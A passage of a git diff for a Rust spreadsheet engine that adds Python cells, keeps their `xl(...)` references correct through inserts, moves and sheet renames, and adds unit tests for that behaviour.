gridcraft_model::Workbook, target: & n.formula = gridcraft_formula::print(&new); } } + rewrite_python_refs(wb, &|host, expr| gridcraft_formula::adjust::adjust(expr, host, target, e)); +} + +/// Rewrites the `xl("…")` literals in every Python cell with `f`, which maps a reference held on +/// sheet `host` to its new form. Every reference-moving edit (insert and delete of lines or cells, +/// cut-move, sheet rename and delete) runs it, as it adjusts formulas. A literal is only replaced +/// when the reference it names changed, and text that doesn't parse is kept. +pub(crate) fn rewrite_python_refs(wb: &mut gridcraft_model::Workbook, f: &impl Fn(&str, gridcraft_formula::Expr) -> gridcraft_formula::Expr) { + for si in 0..wb.sheets.len() { + let Some(sh) = wb.sheets.get(si) else { continue }; + let host = sh.name.clone(); + let mut new_code: Vec<(CellRef, String)> = Vec::new(); + for (c, cell) in sh.cells.iter() { + let Some(py) = &cell.py else { continue }; + let changed = gridcraft_model::python::rewrite_xl(&py.code, |reference| { + let expr = gridcraft_formula::parse(reference).ok()?; + let before = gridcraft_formula::print(&expr); + let after = gridcraft_formula::print(&f(&host, expr)); + (after != before).then_some(after) + }); + if let Some(code) = changed { + new_code.push((c, code)); + } + } + if new_code.is_empty() { + continue; + } + let Some(sh) = wb.sheet_mut(si) else { continue }; + for (c, code) in new_code { + if let Some(cell) = sh.cells.get_mut(c) + && let Some(py) = cell.py.as_mut() + { + std::sync::Arc::make_mut(py).code = code; + } + } + } } // ---------------------------------------------------------------- clear @@ -1481,6 +1560,7 @@ fn clear(s: &mut Session, p: &Json, what: &str) -> Result { for (_, cell) in cells.iter_mut() { let checkbox = cx.wb.styles.get(cell.style).num_fmt.as_str() == "checkbox"; cell.formula = None; + cell.py = None; if checkbox && uncheck_only { cell.value = Value::Bool(false); } else { diff --git a/crates/engine/src/cmd/extra.rs b/crates/engine/src/cmd/extra.rs index 60ffa102b..364b81ed7 100644 --- a/crates/engine/src/cmd/extra.rs +++ b/crates/engine/src/cmd/extra.rs @@ -1211,6 +1211,7 @@ fn toggle_checkbox(s: &mut Session, p: &Json) -> Result { let sh = cx.sheet_mut(si)?; if let Some(cell) = sh.cells.get_mut(c) && cell.formula.is_none() + && cell.py.is_none() { // An empty checkbox cell counts as FALSE. let next = match cell.value { diff --git a/crates/engine/src/cmd/forecast.rs b/crates/engine/src/cmd/forecast.rs index b7472fd22..c45c1179f 100644 --- a/crates/engine/src/cmd/forecast.rs +++ b/crates/engine/src/cmd/forecast.rs @@ -315,7 +315,7 @@ fn forecast_sheet(s: &mut Session, p: &Json) -> Result { let vstyle = cx.wb.styles.derive(StyleId::DEFAULT, |st| st.num_fmt = vfmt.clone()); let mut sheet = Sheet::new(sheet_name.clone()); let put = |sheet: &mut Sheet, row: u32, col: u32, v: Value, style: StyleId| { - sheet.set_cell(CellRef::new(row, col), Cell { value: v, formula: None, style }); + sheet.set_cell(CellRef::new(row, col), Cell { value: v, formula: None, style, py: None }); }; let formula = |sheet: &mut Sheet, row: u32, col: u32, text: String, style: StyleId| { let mut cell = Cell::formula(Formula::new(&text)); diff --git a/crates/engine/src/cmd/format.rs b/crates/engine/src/cmd/format.rs index 10dd2989d..30efbf5a6 100644 --- a/crates/engine/src/cmd/format.rs +++ b/crates/engine/src/cmd/format.rs @@ -665,8 +665,7 @@ fn merge(s: &mut Session, p: &Json, how: &str) -> Result { let others: Vec = sh.cells.iter_range(*r).map(|(c, _)| c).filter(|c| *c != r.start).collect(); for c in others { if let Some(mut cell) = sh.cells.get(c).cloned() { - cell.value = gridcraft_core::Value::Empty; - cell.formula = None; + cell.clear_content(); sh.set_cell(c, cell); } touched.push((sheet, c)); diff --git a/crates/engine/src/cmd/formulas.rs b/crates/engine/src/cmd/formulas.rs index 88c4cc76c..edeefb196 100644 --- a/crates/engine/src/cmd/formulas.rs +++ b/crates/engine/src/cmd/formulas.rs @@ -623,7 +623,7 @@ fn paste_name(s: &mut Session, p: &Json) -> Result { let sh = cx.sheet_mut(sheet)?; let style = sh.style_id(c); // The second column holds the refers-to text as a text value, with no formula. - sh.set_cell(c, Cell { value: Value::text(text.as_str()), formula: None, style }); + sh.set_cell(c, Cell { value: Value::text(text.as_str()), formula: None, style, py: None }); cx.touch(sheet, c); } } diff --git a/crates/engine/src/cmd/insert.rs b/crates/engine/src/cmd/insert.rs index 8274dfeed..a37084523 100644 --- a/crates/engine/src/cmd/insert.rs +++ b/crates/engine/src/cmd/insert.rs @@ -445,7 +445,10 @@ fn write_totals(sh: &mut Sheet, ti: usize) { let c = CellRef::new(row, t.range.start.col + i as u32); if let Some(code) = col.totals.subtotal_code() { let f = format!("=SUBTOTAL({code},{}[{}])", t.name, col.name); - sh.set_cell(c, Cell { formula: Some(std::sync::Arc::new(Formula::new(&f))), value: gridcraft_core::Value::Empty, style: sh.style_id(c) }); + sh.set_cell( + c, + Cell { formula: Some(std::sync::Arc::new(Formula::new(&f))), value: gridcraft_core::Value::Empty, style: sh.style_id(c), py: None }, + ); } else if let Some(l) = &col.totals_label { sh.set_value(c, gridcraft_core::Value::text(l.as_str())); } else { @@ -1260,7 +1263,7 @@ fn insert_link(s: &mut Session, p: &Json) -> Result { }); let sh = cx.sheet_mut(sheet)?; if let Some(t) = text.clone().or_else(|| sh.value(at).is_empty().then(|| target.clone())) { - sh.set_cell(at, Cell { value: gridcraft_core::Value::text(t.as_str()), formula: None, style: link_style }); + sh.set_cell(at, Cell { value: gridcraft_core::Value::text(t.as_str()), formula: None, style: link_style, py: None }); } else { sh.set_style(at, link_style); } diff --git a/crates/engine/src/cmd/inspect.rs b/crates/engine/src/cmd/inspect.rs index f9d5f9dc3..06a2c08b0 100644 --- a/crates/engine/src/cmd/inspect.rs +++ b/crates/engine/src/cmd/inspect.rs @@ -9,7 +9,7 @@ pub fn specs() -> Vec { vec![ cmd!(query "document.inspect", "Inspect Workbook", [], None, "{} → sheets, selection, names, tables, charts, dirty, trust (local|fromFile), history", has_doc, inspect), cmd!(query "sheet.read", "Read Range", [], None, "{range?: \"A1:D10\" (default: used range), sheet?, formulas?: bool, formatted?: bool} → rows of values", has_doc, read), - cmd!(query "cell.get", "Get Cell", [], None, "{cell?, sheet?} → value, formula, display text, style, comment, link", has_doc, cell_get), + cmd!(query "cell.get", "Get Cell", [], None, "{cell?, sheet?} → value, formula, display text, style, comment, link, python {code, output, typeName, preview, stale}", has_doc, cell_get), cmd!(query "selection.stats", "Selection Statistics", [], None, "{} → count, sum, average, min, max", has_doc, sel_stats), cmd!(query "history.list", "Undo History", [], None, "{} → undo/redo labels, grouping (an undo group is open)", has_doc, history), cmd!(query "app.commands", "List Commands", [], None, "{search?} → ids, labels, params", always, list_commands), @@ -137,6 +137,13 @@ fn cell_get(s: &mut Session, p: &Json) -> Result { "merge": sh.merge_at(c).map(|m| m.a1()), "comment": sh.comments.get(&c), "hyperlink": sh.hyperlinks.get(&c), + "python": cell.and_then(|x| x.py.as_deref()).map(|py| json!({ + "code": py.code, + "output": if py.object { "object" } else { "value" }, + "typeName": py.output.as_ref().map(|o| o.type_name.as_str()), + "preview": py.output.as_ref().map(|o| o.preview.as_str()), + "stale": py.stale, + })), })) } diff --git a/crates/engine/src/cmd/mod.rs b/crates/engine/src/cmd/mod.rs index ef6714eea..2f1becd23 100644 --- a/crates/engine/src/cmd/mod.rs +++ b/crates/engine/src/cmd/mod.rs @@ -476,13 +476,18 @@ fn check_arrays(old: &Workbook, new: &Workbook) -> Result<()> { Ok(()) } -/// Two cells hold the same value or formula (formats aside). +/// Two cells hold the same value, formula or Python code (formats aside; a Python cell's result +/// is not something the person edits). fn same_content(a: Option<&gridcraft_model::Cell>, b: Option<&gridcraft_model::Cell>) -> bool { - let empty = |c: Option<&gridcraft_model::Cell>| c.is_none_or(|c| c.formula.is_none() && c.value.is_empty()); + let empty = |c: Option<&gridcraft_model::Cell>| c.is_none_or(|c| !c.has_content()); match (a, b) { (Some(a), Some(b)) => match (&a.formula, &b.formula) { (Some(x), Some(y)) => x.text == y.text && x.array == y.array, - (None, None) => a.value == b.value, + (None, None) => match (&a.py, &b.py) { + (Some(x), Some(y)) => x.code == y.code && x.object == y.object, + (None, None) => a.value == b.value, + _ => false, + }, _ => false, }, _ => empty(a) && empty(b), diff --git a/crates/engine/src/cmd/pivot.rs b/crates/engine/src/cmd/pivot.rs index 164ae4449..2cf76a6ae 100644 --- a/crates/engine/src/cmd/pivot.rs +++ b/crates/engine/src/cmd/pivot.rs @@ -812,7 +812,10 @@ fn show_details(s: &mut Session, p: &Json) -> Result { } } for (c, h) in src.headers.iter().enumerate() { - sh.set_cell(CellRef::new(0, c as u32), Cell { value: gridcraft_core::Value::text(h.as_str()), formula: None, style: StyleId::default() }); + sh.set_cell( + CellRef::new(0, c as u32), + Cell { value: gridcraft_core::Value::text(h.as_str()), formula: None, style: StyleId::default(), py: None }, + ); } for (r, i) in records.iter().enumerate() { let Some(rec) = src.rows.get(*i) else { continue }; @@ -821,7 +824,7 @@ fn show_details(s: &mut Session, p: &Json) -> Result { if v.is_empty() && style == StyleId::default() { continue; } - sh.set_cell(CellRef::new(r as u32 + 1, c as u32), Cell { value: v.clone(), formula: None, style }); + sh.set_cell(CellRef::new(r as u32 + 1, c as u32), Cell { value: v.clone(), formula: None, style, py: None }); } } let name = sh.name.clone(); diff --git a/crates/engine/src/cmd/sheet.rs b/crates/engine/src/cmd/sheet.rs index ea615cb83..44a3c9d60 100644 --- a/crates/engine/src/cmd/sheet.rs +++ b/crates/engine/src/cmd/sheet.rs @@ -790,6 +790,7 @@ fn delete_sheet(s: &mut Session, p: &Json) -> Result { } } } + super::edit::rewrite_python_refs(&mut cx.wb, &|_, e| gridcraft_formula::adjust::delete_sheet(e, &name, &order)); cx.wb.names.retain(|n| n.scope != Some(i)); for n in cx.wb.names.iter_mut() { if let Some(sc) = n.scope.as_mut() @@ -867,6 +868,7 @@ fn rename_sheet(s: &mut Session, p: &Json) -> Result { n.formula = gridcraft_formula::print(&gridcraft_formula::adjust::rename_sheet(e, &old, &name)); } } + super::edit::rewrite_python_refs(&mut cx.wb, &|_, e| gridcraft_formula::adjust::rename_sheet(e, &old, &name)); cx.structural = true; Ok(Json::Null) }) diff --git a/crates/engine/src/cmd/solver.rs b/crates/engine/src/cmd/solver.rs index 21dbc1926..a8337ed13 100644 --- a/crates/engine/src/cmd/solver.rs +++ b/crates/engine/src/cmd/solver.rs @@ -331,7 +331,8 @@ fn parse_model(s: &Session, p: &Json) -> Result { } let mut seen = std::collections::HashSet::new(); vars.retain(|c| seen.insert(*c)); - if vars.iter().any(|c| sh.cell(*c).is_some_and(|c| c.formula.is_some())) { + // Python cells count as formulas: a solution written over one would lose its code. + if vars.iter().any(|c| sh.cell(*c).is_some_and(|c| c.formula.is_some() || c.py.is_some())) { return Err(EngineError::Other("Variable cells must hold constants, not formulas.".into())); } let mut cons = Vec::new(); @@ -1899,7 +1900,7 @@ fn write_reports(cx: &mut Ctx, at: usize, built: Vec<(String, Lines)>) -> Vec Result { let sh = cx.sheet_mut(sheet)?; for (c, v) in model.vars.iter().zip(x) { let style = sh.style_id(*c); - sh.set_cell(*c, Cell { value: Value::number(*v), formula: None, style }); + sh.set_cell(*c, Cell { value: Value::number(*v), formula: None, style, py: None }); } for c in &model.vars { cx.touch(sheet + count, *c); diff --git a/crates/engine/src/cmd/whatif.rs b/crates/engine/src/cmd/whatif.rs index 53b0dc3cc..2cc9c88bb 100644 --- a/crates/engine/src/cmd/whatif.rs +++ b/crates/engine/src/cmd/whatif.rs @@ -201,7 +201,7 @@ impl Trial { for (si, c, v) in sets { if let Some(sh) = wb.sheet_mut(*si) { let style = sh.style_id(*c); - sh.set_cell(*c, Cell { value: v.clone(), formula: None, style }); + sh.set_cell(*c, Cell { value: v.clone(), formula: None, style, py: None }); keys.push((*si, *c)); } } @@ -317,7 +317,8 @@ fn goal_seek(s: &mut Session, p: &Json) -> Result { if !has_formula(ssi, set) { return Err(EngineError::Other("Cell must contain a formula.".into())); } - if has_formula(csi, chg) { + // A Python cell is a formula to Excel (`=PY(…)`): writing a number over it would lose its code. + if has_formula(csi, chg) || d.wb.sheet(csi).and_then(|sh| sh.cell(chg)).is_some_and(|c| c.py.is_some()) { return Err(EngineError::Other("Cell must contain a value.".into())); } let x0 = d.wb.sheet(csi).map(|sh| sh.value(chg)).and_then(|v| v.as_f64()).unwrap_or(0.0); @@ -330,7 +331,7 @@ fn goal_seek(s: &mut Session, p: &Json) -> Result { edit(s, |cx| { let sh = cx.sheet_mut(csi)?; let style = sh.style_id(chg); - sh.set_cell(chg, Cell { value: Value::number(r.x), formula: None, style }); + sh.set_cell(chg, Cell { value: Value::number(r.x), formula: None, style, py: None }); cx.touch(csi, chg); Ok(()) })?; @@ -493,7 +494,7 @@ fn scenario_show(s: &mut Session, p: &Json) -> Result { let cell = match v.as_f64() { Some(n) => { let style = cx.wb.sheet(si).map(|sh| sh.style_id(*c)).unwrap_or_default(); - Some(Cell { value: Value::Number(n), formula: None, style }) + Some(Cell { value: Value::Number(n), formula: None, style, py: None }) } None => super::edit::input_to_cell(&super::edit::json_to_input(v), si, *c, &mut cx.wb)?, }; @@ -578,7 +579,7 @@ fn scenario_summary(s: &mut Session, p: &Json) -> Result { let bold = cx.wb.styles.derive(StyleId::DEFAULT, |st| st.font.bold = true); let mut sheet = Sheet::new(name.clone()); let put = |sheet: &mut Sheet, row: u32, col: u32, v: Value, style: StyleId| { - sheet.set_cell(CellRef::new(row, col), Cell { value: v, formula: None, style }); + sheet.set_cell(CellRef::new(row, col), Cell { value: v, formula: None, style, py: None }); }; put(&mut sheet, 1, 1, Value::text("Scenario Summary"), bold); put(&mut sheet, 2, 2, Value::text("Current Values:"), bold); @@ -701,7 +702,7 @@ fn data_table(s: &mut Session, p: &Json) -> Result { for (c, v) in out { let sh = cx.sheet_mut(si)?; let style = sh.style_id(c); - sh.set_cell(c, Cell { value: v, formula: None, style }); + sh.set_cell(c, Cell { value: v, formula: None, style, py: None }); cx.touch(si, c); } Ok(()) @@ -895,7 +896,7 @@ fn advanced_filter(s: &mut Session, p: &Json) -> Result { // The full output footprint was checked above. let to = CellRef::new(dest.row + i as u32, dest.col + c - list.start.col); let style = sh.style_id(src); - (to, Cell { value: sh.value(src), formula: None, style }) + (to, Cell { value: sh.value(src), formula: None, style, py: None }) }) }) .collect(); @@ -1122,7 +1123,7 @@ fn consolidate(s: &mut Session, p: &Json) -> Result { if v.is_empty() && style == StyleId::DEFAULT { sh.remove_cell(c); } else { - sh.set_cell(c, Cell { value: v, formula: None, style }); + sh.set_cell(c, Cell { value: v, formula: None, style, py: None }); } cx.touch(dsi, c); } diff --git a/crates/engine/src/fill.rs b/crates/engine/src/fill.rs index b12700e4f..644a17860 100644 --- a/crates/engine/src/fill.rs +++ b/crates/engine/src/fill.rs @@ -171,10 +171,12 @@ pub fn fill(cx: &mut Ctx, sheet: usize, src: RangeRef, target: RangeRef, mode: F cell.formula = Some(Arc::new(Formula::from_expr(shifted))); cell.value = Value::Empty; } - } else if let Some(v) = match per_cell.get(src_i) { - Some(p) => p.value(k as i64 / src_cells.len() as i64 + 1, forward, 1), - None => pattern.value(step, forward, src_cells.len()), - } { + } else if cell.py.is_none() + && let Some(v) = match per_cell.get(src_i) { + Some(p) => p.value(k as i64 / src_cells.len() as i64 + 1, forward, 1), + None => pattern.value(step, forward, src_cells.len()), + } + { cell.value = v; } cell.style = style; @@ -296,7 +298,8 @@ impl Pattern { fn detect(cells: &[(CellRef, Option)], custom: &[Vec], sys: gridcraft_core::DateSystem, fmt: &str) -> Pattern { let vals: Vec = cells.iter().map(|(_, c)| c.as_ref().map(|c| c.value.clone()).unwrap_or_default()).collect(); - if cells.iter().any(|(_, c)| c.as_ref().is_some_and(|c| c.formula.is_some())) { + // Formulas and Python cells copy. + if cells.iter().any(|(_, c)| c.as_ref().is_some_and(|c| c.formula.is_some() || c.py.is_some())) { return Pattern::Copy; } // Numbers. @@ -587,7 +590,7 @@ pub fn series(cx: &mut Ctx, sheet: usize, r: RangeRef, rows: bool, kind: &str, s break; } let c = if rows { CellRef::new(lane, r.start.col + i) } else { CellRef::new(r.start.row + i, lane) }; - writes.push((c, Cell { value: Value::number(round15(v)), formula: None, style })); + writes.push((c, Cell { value: Value::number(round15(v)), formula: None, style, py: None })); } } let sh = cx.sheet_mut(sheet)?; @@ -646,7 +649,7 @@ pub fn flash_fill(cx: &mut Ctx, sheet: usize, at: CellRef) -> Result { } let sh = cx.sheet_mut(sheet)?; for (c, out) in &writes { - sh.set_cell(*c, Cell { value: Value::text(out.as_str()), formula: None, style }); + sh.set_cell(*c, Cell { value: Value::text(out.as_str()), formula: None, style, py: None }); } for (c, _) in writes { cx.touch(sheet, c); diff --git a/crates/engine/src/io.rs b/crates/engine/src/io.rs index 77467b210..4ad9f3d83 100644 --- a/crates/engine/src/io.rs +++ b/crates/engine/src/io.rs @@ -1196,17 +1196,17 @@ mod tests { (styled("yyyy-mm-dd"), styled("$#,##0.00"), styled("0.0%"), styled("# ?/?"), styled("@"), styled("0.00"), styled("#,##0")); let sh = wb.sheet_mut(0).unwrap(); let cells = [ - ("A1", Cell { value: Value::Number(46023.0), formula: None, style: date }), - ("B1", Cell { value: Value::Number(1234.5), formula: None, style: money }), - ("C1", Cell { value: Value::Number(0.125), formula: None, style: pct }), - ("D1", Cell { value: Value::Number(1.5), formula: None, style: frac }), - ("E1", Cell { value: Value::text("007"), formula: None, style: text }), - ("F1", Cell { value: Value::Error(CellError::NA), formula: None, style: money }), - ("G1", Cell { value: Value::Bool(true), formula: None, style: StyleId::DEFAULT }), + ("A1", Cell { value: Value::Number(46023.0), formula: None, style: date, py: None }), + ("B1", Cell { value: Value::Number(1234.5), formula: None, style: money, py: None }), + ("C1", Cell { value: Value::Number(0.125), formula: None, style: pct, py: None }), + ("D1", Cell { value: Value::Number(1.5), formula: None, style: frac, py: None }), + ("E1", Cell { value: Value::text("007"), formula: None, style: text, py: None }), + ("F1", Cell { value: Value::Error(CellError::NA), formula: None, style: money, py: None }), + ("G1", Cell { value: Value::Bool(true), formula: None, style: StyleId::DEFAULT, py: None }), ("A2", Cell { value: Value::Number(46024.0), style: date, ..Cell::formula(Formula::new("A1+1")) }), - ("B2", Cell { value: Value::Number(12345678.9), formula: None, style: fixed }), - ("C2", Cell { value: Value::Number(-0.25), formula: None, style: StyleId::DEFAULT }), - ("D2", Cell { value: Value::Number(1234567.0), formula: None, style: thousands }), + ("B2", Cell { value: Value::Number(12345678.9), formula: None, style: fixed, py: None }), + ("C2", Cell { value: Value::Number(-0.25), formula: None, style: StyleId::DEFAULT, py: None }), + ("D2", Cell { value: Value::Number(1234567.0), formula: None, style: thousands, py: None }), ]; for (a, c) in cells { sh.set_cell(CellRef::parse(a).unwrap(), c); diff --git a/crates/engine/src/pivot.rs b/crates/engine/src/pivot.rs index a074f5729..e541199d9 100644 --- a/crates/engine/src/pivot.rs +++ b/crates/engine/src/pivot.rs @@ -1518,7 +1518,10 @@ pub fn refresh(wb: &mut Workbook, sheet: usize, idx: usize, replace: bool) -> Re if oc.value.is_empty() && id == StyleId::default() { continue; } - cells.push((CellRef::new(origin.row + ri as u32, origin.col + ci as u32), Cell { value: oc.value.clone(), formula: None, style: id })); + cells.push(( + CellRef::new(origin.row + ri as u32, origin.col + ci as u32), + Cell { value: oc.value.clone(), formula: None, style: id, py: None }, + )); } } // Column widths that fit the labels. diff --git a/crates/engine/src/tests.rs b/crates/engine/src/tests.rs index 13fbb9b3a..c9d10e36e 100644 --- a/crates/engine/src/tests.rs +++ b/crates/engine/src/tests.rs @@ -5093,6 +5093,7 @@ fn a_script_cannot_switch_windows() { assert_eq!(v(&s, "A1"), Value::number(2.0)); } +mod python_cells; mod seams; #[test] diff --git a/crates/engine/src/tests/python_cells.rs b/crates/engine/src/tests/python_cells.rs new file mode 100644 index 000000000..91a1fed77 --- /dev/null +++ b/crates/engine/src/tests/python_cells.rs @@ -0,0 +1,229 @@ +//! Python cells under edits: what keeps, moves, rewrites or removes their code. + +use std::sync::Arc; + +use gridcraft_core::{CellRef, Value}; +use gridcraft_model::{Cell, PyCode}; +use serde_json::json; + +use super::s; +use crate::Session; + +/// Makes `cell` on sheet `sheet` a Python cell with `code` and a cached value. +fn plant(s: &mut Session, sheet: usize, cell: &str, code: &str) { + let d = s.doc_mut().unwrap(); + let mut wb = (*d.wb).clone(); + let sh = wb.sheet_mut(sheet).unwrap(); + let at = CellRef::parse(cell).unwrap(); + let style = sh.style_id(at); + sh.set_cell(at, Cell { value: Value::Number(1.0), formula: None, style, py: Some(Arc::new(PyCode::new(code))) }); + d.wb = Arc::new(wb); +} + +fn code(s: &Session, sheet: usize, cell: &str) -> Option { + let d = s.doc().unwrap(); + d.wb.sheet(sheet).unwrap().cell(CellRef::parse(cell).unwrap()).and_then(|c| c.py.as_ref()).map(|p| p.code.clone()) +} + +#[test] +fn typing_py_formulas_points_to_python_set() { + let mut s = s(); + let e = s.execute("cell.set", json!({"cell": "A1", "input": "=PY(\"1+1\",0)"})).unwrap_err(); + assert!(e.to_string().contains("python.set"), "{e}"); + assert!(s.execute("cell.set", json!({"cell": "A1", "input": "=py"})).is_err()); + // Other functions starting with PY are not affected. + s.execute("cell.set", json!({"cell": "A2", "input": "=PI()"})).unwrap(); +} + +#[test] +fn entering_or_clearing_a_python_cell_removes_its_code() { + let mut s = s(); + plant(&mut s, 0, "A1", "1 + 1"); + plant(&mut s, 0, "A2", "2 + 2"); + plant(&mut s, 0, "A3", "3 + 3"); + let got = s.execute("cell.get", json!({"cell": "A1"})).unwrap(); + assert_eq!(got["input"], "1 + 1"); + assert_eq!(got["python"]["code"], "1 + 1"); + assert_eq!(got["python"]["output"], "value"); + s.execute("cell.set", json!({"cell": "A1", "input": "hello"})).unwrap(); + assert_eq!(code(&s, 0, "A1"), None); + s.execute("edit.clearFormats", json!({"range": "A2"})).unwrap(); + assert_eq!(code(&s, 0, "A2").as_deref(), Some("2 + 2"), "clearing formats keeps the code"); + s.execute("edit.clearContents", json!({"range": "A2"})).unwrap(); + assert_eq!(code(&s, 0, "A2"), None); + s.execute("edit.clearAll", json!({"range": "A3"})).unwrap(); + assert_eq!(code(&s, 0, "A3"), None); + s.execute("edit.undo", json!({})).unwrap(); + assert_eq!(code(&s, 0, "A3").as_deref(), Some("3 + 3"), "undo brings the code back"); +} + +#[test] +fn copy_fill_and_sort_carry_the_code_and_paste_values_drops_it() { + let mut s = s(); + plant(&mut s, 0, "A1", "xl('B1') * 2"); + s.execute("edit.copy", json!({"range": "A1"})).unwrap(); + s.execute("edit.paste", json!({"at": "C1"})).unwrap(); + assert_eq!(code(&s, 0, "C1").as_deref(), Some("xl('B1') * 2"), "the code is copied as it is"); + s.execute("edit.pasteSpecial", json!({"at": "D1", "what": "values"})).unwrap(); + assert_eq!(code(&s, 0, "D1"), None); + assert_eq!(super::v(&s, "D1"), Value::Number(1.0), "the cached value is pasted"); + s.execute("edit.fillDown", json!({"range": "A1:A3"})).unwrap(); + assert_eq!(code(&s, 0, "A3").as_deref(), Some("xl('B1') * 2")); + // Sorting moves Python cells with their rows. + s.execute("range.setValues", json!({"range": "E1", "values": [[3], [1], [2]]})).unwrap(); + plant(&mut s, 0, "F1", "'three'"); + plant(&mut s, 0, "F2", "'one'"); + s.execute("data.sort", json!({"range": "E1:F3", "keys": [{"column": "E"}]})).unwrap(); + assert_eq!(code(&s, 0, "F1").as_deref(), Some("'one'")); + assert_eq!(code(&s, 0, "F3").as_deref(), Some("'three'")); +} + +#[test] +fn xl_references_follow_inserts_moves_and_renames() { + let mut s = s(); + s.execute("home.insertSheet", json!({})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let other = s.doc().unwrap().wb.sheet(1).unwrap().name.clone(); + plant(&mut s, 0, "C5", &format!("a = xl(\"A1:A3\")\nb = xl('{other}!B2', headers=True)\nc = xl(dynamic)\n# xl(\"A1\") stays in comments")); + s.execute("home.insertRows", json!({"rows": "2:2"})).unwrap(); + let c = code(&s, 0, "C6").unwrap(); + assert!(c.starts_with("a = xl(\"A1:A4\")\n"), "{c}"); + assert!(c.contains(&format!("xl('{other}!B2', headers=True)")), "{c}"); + assert!(c.contains("# xl(\"A1\") stays"), "{c}"); + s.execute("sheet.rename", json!({"sheet": 1, "name": "Data"})).unwrap(); + assert!(code(&s, 0, "C6").unwrap().contains("xl('Data!B2', headers=True)")); + // Cutting the cells a reference names moves the reference with them. + s.execute("edit.cut", json!({"range": "A1:A4"})).unwrap(); + s.execute("edit.paste", json!({"at": "H1"})).unwrap(); + assert!(code(&s, 0, "C6").unwrap().starts_with("a = xl(\"H1:H4\")"), "{:?}", code(&s, 0, "C6")); + // Deleting the referenced cells leaves #REF!, which fails when the code runs. + // The selection is elsewhere, so only the named column goes. + s.execute("selection.set", json!({"range": "A1"})).unwrap(); + s.execute("home.deleteColumns", json!({"cols": "H:H"})).unwrap(); + assert!(code(&s, 0, "C6").unwrap().starts_with("a = xl(\"#REF!\")"), "{:?}", code(&s, 0, "C6")); +} + +#[test] +fn a_rename_to_a_name_that_needs_quotes_rewrites_single_quoted_references() { + let mut s = s(); + s.execute("home.insertSheet", json!({})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let other = s.doc().unwrap().wb.sheet(1).unwrap().name.clone(); + plant(&mut s, 0, "A1", &format!("a = xl('{other}!B2')\nb = xl(\"{other}!C3\")")); + s.execute("sheet.rename", json!({"sheet": 1, "name": "Q4 2026"})).unwrap(); + assert_eq!(code(&s, 0, "A1").unwrap(), "a = xl(\"'Q4 2026'!B2\")\nb = xl(\"'Q4 2026'!C3\")"); + // A name with both quotes in it: the literal's own quote is escaped. + s.execute("sheet.rename", json!({"sheet": 1, "name": "Bob's \"Q4\""})).unwrap(); + let c = code(&s, 0, "A1").unwrap(); + assert_eq!(c, "a = xl(\"'Bob''s \\\"Q4\\\"'!B2\")\nb = xl(\"'Bob''s \\\"Q4\\\"'!C3\")"); + let refs: Vec> = gridcraft_model::python::xl_calls(&c).into_iter().map(|x| x.reference).collect(); + assert_eq!(refs, [Some("'Bob''s \"Q4\"'!B2".to_string()), Some("'Bob''s \"Q4\"'!C3".to_string())]); + // And back to a plain name. + s.execute("sheet.rename", json!({"sheet": 1, "name": "Data"})).unwrap(); + assert_eq!(code(&s, 0, "A1").unwrap(), "a = xl(\"Data!B2\")\nb = xl(\"Data!C3\")"); +} + +#[test] +fn a_cut_to_another_sheet_keeps_references_on_the_source_sheet() { + let mut s = s(); + s.execute("home.insertSheet", json!({})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + let (src, dest) = { + let wb = &s.doc().unwrap().wb; + (wb.sheet(0).unwrap().name.clone(), wb.sheet(1).unwrap().name.clone()) + }; + plant(&mut s, 0, "A1", "a = xl(\"B5\")\nb = xl('A2')"); + plant(&mut s, 0, "A2", "1"); + s.execute("edit.cut", json!({"range": "A1:A2"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("edit.paste", json!({"at": "C1"})).unwrap(); + // B5 stays on the source sheet; A2 moved with the cut, so it follows to the destination. + assert_eq!(code(&s, 1, "C1").unwrap(), format!("a = xl(\"{src}!B5\")\nb = xl('{dest}!C2')")); + assert_eq!(code(&s, 0, "A1"), None); + // Within one sheet nothing is qualified. + s.execute("edit.cut", json!({"range": "C1"})).unwrap(); + s.execute("edit.paste", json!({"at": "E1"})).unwrap(); + assert_eq!(code(&s, 1, "E1").unwrap(), format!("a = xl(\"{src}!B5\")\nb = xl('{dest}!C2')")); + // A copy to another sheet still carries the code as it is. + plant(&mut s, 0, "A9", "xl(\"B5\")"); + s.execute("sheet.activate", json!({"sheet": 0})).unwrap(); + s.execute("edit.copy", json!({"range": "A9"})).unwrap(); + s.execute("sheet.activate", json!({"sheet": 1})).unwrap(); + s.execute("edit.paste", json!({"at": "A9"})).unwrap(); + assert_eq!(code(&s, 1, "A9").as_deref(), Some("xl(\"B5\")")); +} + +#[test] +fn goal_seek_and_solver_refuse_to_change_a_python_cell() { + let mut s = s(); + plant(&mut s, 0, "A1", "2"); + s.execute("cell.set", json!({"cell": "B1", "input": "=A1*2"})).unwrap(); + let e = s.execute("data.goalSeek", json!({"set": "B1", "to": 10, "changing": "A1"})).unwrap_err(); + assert!(e.to_string().contains("must contain a value"), "{e}"); + assert_eq!(code(&s, 0, "A1").as_deref(), Some("2"), "the code is kept"); + // The set cell must be a formula: a Python cell isn't one this build can recalculate. + s.execute("cell.set", json!({"cell": "C1", "input": "3"})).unwrap(); + assert!(s.execute("data.goalSeek", json!({"set": "A1", "to": 10, "changing": "C1"})).is_err()); + let e = s.execute("data.solver", json!({"objective": "B1", "goal": "max", "variables": "A1"})).unwrap_err(); + assert!(e.to_string().contains("constants"), "{e}"); + assert_eq!(code(&s, 0, "A1").as_deref(), Some("2")); +} + +#[test] +fn text_to_columns_keeps_a_py_piece_as_text() { + let mut s = s(); + s.execute("cell.set", json!({"cell": "A1", "input": "'=PY(\"x\");7"})).unwrap(); + assert_eq!(super::v(&s, "A1"), Value::text("=PY(\"x\");7")); + s.execute("data.textToColumns", json!({"range": "A1", "delimiters": [";"]})).unwrap(); + // The default text qualifier takes the quotes away, as in Excel. + assert_eq!(super::v(&s, "A1"), Value::text("=PY(x)"), "the piece is kept, not cleared"); + assert_eq!(code(&s, 0, "A1"), None, "and it is not a Python cell"); + assert_eq!(super::v(&s, "B1"), Value::Number(7.0)); +} + +#[test] +fn python_cells_survive_native_json() { + let mut s = s(); + plant(&mut s, 0, "B2", "x = 1\nx"); + let wb = s.doc().unwrap().wb.clone(); + let json = serde_json::to_string(&*wb).unwrap(); + let back: gridcraft_model::Workbook = 